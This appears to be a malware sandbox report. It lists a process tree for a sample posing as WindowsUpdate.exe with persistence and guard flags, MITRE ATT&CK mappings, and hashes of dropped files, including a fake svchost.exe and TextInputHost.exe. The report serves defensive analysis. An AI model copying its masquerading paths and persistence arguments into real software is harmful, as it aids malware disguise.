- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
    3⤵
    PID:2568
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe"
      4⤵
      PID:6480
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 576
    3⤵
    PID:2132
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe"
      4⤵
      PID:6316
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 576 2132
    3⤵
    PID:436
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe"
      4⤵
      PID:6236

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
PID:6468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9810bc728,0x7ff9810bc734,0x7ff9810bc740
  2⤵
  PID:3948

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x134,0x138,0x13c,0x110,0x140,0x7ff9810bc728,0x7ff9810bc734,0x7ff9810bc740
1⤵
PID:1416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

didy_db_1791066354458884600_2860.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066354458884600_2860.db
Size 138KB
SHA256 62a1153ee3b7629593315af19174502c354d12ebf135f23092bc3ea60ca5c760
MD5 789745d4caa7cbb8f4dd71c84524bb9c
SHA1 264c845524bbb785ea8bddb9866c64eaafd29cd1
SHA512 4179b37bad69abf93786fe722b9fa081d24b610fcedef03f7e176dadf2c5e54b2c215a1efcd63254063cf723356ce5b55d676052263a9fd77253994ca4fdf417
SSDEEP 384:zeuvBnhJsueMEGvIW1DcP2OQm9iVumNUn5D:FnbZeMrv/hGtvmUnh
TLSH
T1C0D3774B3A743102EDE59A721CE051BB5D3CB17D4F16A5D428B620588EF2963B23E4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066354458884600_2860.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066354458884600_2860.db
Size 160KB
SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
MD5 ea2f1147ca310fa5d8e3dc3cca218f60
SHA1 fd7e6239dac6d57876fc8536feb7bbf2307b0bc1
SHA512 7427e2055015af3721dfaa2f3e16dd12b158dfa3ea8c75130bd66a6610b657d51a5d7fad8c1f2e27e79ba05bdfef1e961171611c2668759bc09dd79cb97cbc9b
SSDEEP 96:JY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:JY/tH+bF+UI3iWGVYWNkqp3
TLSH
T14AF30A1E5F243312CDBD92366CE745B3597CF03F8B632A856CA514B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066354491944700_3352.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066354491944700_3352.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066355073127100_3352.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066355073127100_3352.db
Size 20KB
SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
MD5 40c4021f7a23fc1b361904d0519eb714
SHA1 eb811f03ded3cf26dc320980307be2b2f9335df5
SHA512 6cfd57cdb92272641c9ad007872cf25c11579c5bfd44935b988559b5e0cca1f4eff976265ff2c2b002f5176af6c8c21961f58e8fb108fcedf4370f9d640186ff
SSDEEP 24:TLf91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB:T79aw/aHLopFMavU1iB
TLSH
T1B392AD8E1F343620C0F44B33F9C249972E7C212C93637A89EE5410F3DD965ABF50A5A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066355769198600_3352.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066355769198600_3352.db
Size 50KB
SHA256 92deb9024ca49204bb9a97b2936ac1aaf6e20e437ed40db53a5409bf801c0a20
MD5 9625c2e35b5d9a880a08161bdbb8e27a
SHA1 1441f4838a6ba52b6116c16a4e67dec8eeab6f92
SHA512 5925fbe50c4f8c34d1ad55992d67c5a997410207e3180733ff1a6fb1866b6b467067d17ab77d256335f71e137ed817b1289bed759529a15cf459bea1c023de17
SSDEEP 96:MkYUCn8MouB6w9fUP3mwilmqUvJKLReyG32ff44:uUG7Iw9f2iwcf4
TLSH
T13433451F2F682802C8698632BCB155F2AD7CA13F4B53AED22CB554354DB5852F02D5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066356169361300_3352.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066356169361300_3352.db
Size 24KB
SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
MD5 f20c4b926daf368f14b347d55a16cb41
SHA1 aedbb95b2328494e27a76d02ac5409154865d9c3
SHA512 8ec39bf908f1781a50fd054587a2b64f9051fc79ed1482674be1936f614d20bbc49dcef5033e1ecf2f219345414230b4421305de76ba25b28c49d3521d953885
SSDEEP 24:TL8z/bXYFpFNYbatyTM2Wkweka60y6UwbdQ9rPWTZ61:TQz/LopFMaty423w/a9NUuT
TLSH
T140B2594D1F307220C0F44B36EDD189572F7C211CD3A326599E1810F3DE925ABF61956A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066364689290400_2860.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066364689290400_2860.db
Size 256KB
SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
MD5 b9ac2e3133012e6df701783726dd2e73
SHA1 2027d37725c5f18085038027fb7ccb6fc6568a24
SHA512 6fa34bb32da7171c554d4b3b2988e25598427f3f485632cbbecb12a545909563b01ec12a1393d4c3307652eaee787977a88538c639221a43d46d1e49411adc04
SSDEEP 384:K8NTRZyCSDnxTICYMEhIKyll7svbFKfk7:KoNZJSDniwyI1l7svbF9
TLSH
T16544640A7B747001EDE2D9725CB080771E3C616E8F26E6816DB654694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066364691001800_2860.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066364691001800_2860.db
Size 224KB
SHA256 1ba935b83104faba63785781dd06f1fb405f5f6c205dd557a94f50a87e9a6b0d
MD5 cc0b01b6e40c08b0732d098947ad2dc7
SHA1 1dd6b8b636d6f6592ebb8f74496271b507609de8
SHA512 4ed4e560bf01dcf12b20c264851b941bcabf443db80f139e5ec4fe45d73798e8e3a64961f9209e861b2f4fb7c8b6976a1618f4076d14929cea3b48a2def94187
SSDEEP 96:bnjFtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/9bbEOVpZf24JkMfXSFR+CFqrn:b2H+bF+UI3iWGVoWN3qL/9VVV63
TLSH
T10624EF4E5F343722CDBD913668E644A35C7CF03F8B5366DA686114B5CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1791066371751330100_2860.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1791066371751330100_2860.db
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
Size 11.5MB
SHA256 db5efead67dcc1c918d9bef704b0f2351e5b126c3ef7e248a4647a182c84aa21
MD5 c073c574f3fc62b9169b6f31d19420fd
SHA1 5435aa987014e0afb4b97734a5f774abae537652
SHA512 0b249eb0827c4b7a3f088e15ee76a41b02e89aa927470cdddad460dacaaa2b103d9f70086eb428d399aa09e1145f6a4169cf8186c81299aacde79edb06dde28f
SSDEEP 196608:EIxqnv5nbGCFIz7H0U4QgNuSIHj9Ieq/x1ZCjEh/60B3XRX7zF4Qfh6TVJ:pQlE3hPgNuljKeq/x1AjE3B3XRV4WOT
TLSH
T1C2C633694813C3AFC65B5B346973D0AE83B1E437A0EB1B55566BD8D0C5BC79230EAF80
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.didy_mid

Path C:\Users\Admin\AppData\Roaming\.didy_mid
Size 16B
SHA256 e73ddeae8229431e0ae64d924fe7d6a3ec4fdbb0e5116d87e0f4ab1760ecbf08
MD5 38f895745aeaed0c86bdb1e6a402473b
SHA1 f4ae50114f47078d2b9c7ea4bf89aab88d399bc4
SHA512 c9f8d37396b864ca77defbdfa6e41ad5b24eadc7c9c68559f6b5860263457d941612ec8e1c2bc4b44ebaf36a61b7a4529683a3af9d8f5e9e937837c0e538ff24
MD5 SHA1 SHA512

Submit Download

TextInputHost.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\TextInputHost.exe
Size 6.1MB
SHA256 ca28f4aeaa5e16d216cd828b67454a56f3c7feeb242412d26ed914fadff20d40
MD5 5fba8ae226b096da3b31de0e17496735
SHA1 d532a01254cf9e0229d3c5803b78ff7c9b0cb8d3
SHA512 951e44fc0864a6741bcbb4227feb5429a032713dabd91102f4f0e27a69181ce7f23562e902cc09896ae26334b6d18caf0f5a13d81370bd703fd7ed6f78b47e72
SSDEEP 98304:iONmXliGgyduIy7bWynX75rfdRZqOXmvFubCY9yxl5TtX8Ao0Ezae6B:GXlivZqOXmtubmxl5ppvEzT6
TLSH
T15F569D5AB7A400E8C87AC93CC6479613E7B1B8165370A7DB17B4676A0F33AD51E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/124-53-0x00007FF64D3A0000-0x00007FF64DF32000-memory.dmp

Download

memory/576-123-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/576-124-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/576-122-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/576-109-0x000001D4D1150000-0x000001D4D1151000-memory.dmp

Download

memory/716-23-0x000001873B1C0000-0x000001873B1C1000-memory.dmp

Download

memory/716-29-0x00007FF9A1F80000-0x00007FF9A21E3000-memory.dmp

Download

memory/716-28-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/716-27-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/716-26-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/716-56-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/1392-106-0x00007FF9A1F80000-0x00007FF9A21E3000-memory.dmp

Download

memory/1392-93-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/1392-92-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/1392-91-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/1392-90-0x0000015BF9710000-0x0000015BF9711000-memory.dmp

Download

memory/1768-54-0x00007FF64D3A0000-0x00007FF64DF32000-memory.dmp

Download

memory/2148-100-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2148-98-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2148-108-0x00007FF9A1F80000-0x00007FF9A21E3000-memory.dmp

Download

memory/2148-97-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2148-96-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2148-95-0x0000020598CB0000-0x0000020598CB1000-memory.dmp

Download

memory/2348-118-0x00000297BBDB0000-0x00000297BBDB1000-memory.dmp

Download

memory/2396-119-0x0000028A836E0000-0x0000028A836E1000-memory.dmp

Download

memory/2860-4-0x00000225D05E0000-0x00000225D05E1000-memory.dmp

Download

memory/2860-13-0x00007FF9A1F80000-0x00007FF9A21E3000-memory.dmp

Download

memory/2860-75-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2860-6-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2860-5-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2860-3-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2860-14-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2860-7-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2860-16-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2884-61-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2884-59-0x000001ADA10D0000-0x000001ADA10D1000-memory.dmp

Download

memory/2884-62-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2884-69-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2884-63-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2936-52-0x00007FF64D3A0000-0x00007FF64DF32000-memory.dmp

Download

memory/2940-103-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2940-104-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2940-102-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/2940-99-0x000002B03D8C0000-0x000002B03D8C1000-memory.dmp

Download

memory/2940-134-0x00007FF9A1F80000-0x00007FF9A21E3000-memory.dmp

Download

memory/3352-51-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3352-32-0x000001A9349E0000-0x000001A9349E1000-memory.dmp

Download

memory/3352-34-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3352-35-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3352-36-0x00007FF9A1F80000-0x00007FF9A21E3000-memory.dmp

Download

memory/3352-33-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3880-44-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3880-19-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3880-20-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3880-21-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/3880-18-0x0000025C01B60000-0x0000025C01B61000-memory.dmp

Download

memory/4256-42-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4256-43-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4256-50-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4256-41-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4256-40-0x000002A307F50000-0x000002A307F51000-memory.dmp

Download

memory/4384-117-0x0000027BD55C0000-0x0000027BD55C1000-memory.dmp

Download

memory/5608-140-0x00007FF6FA750000-0x00007FF6FB2E2000-memory.dmp

Download

memory/5928-47-0x00007FF64D3A0000-0x00007FF64DF32000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads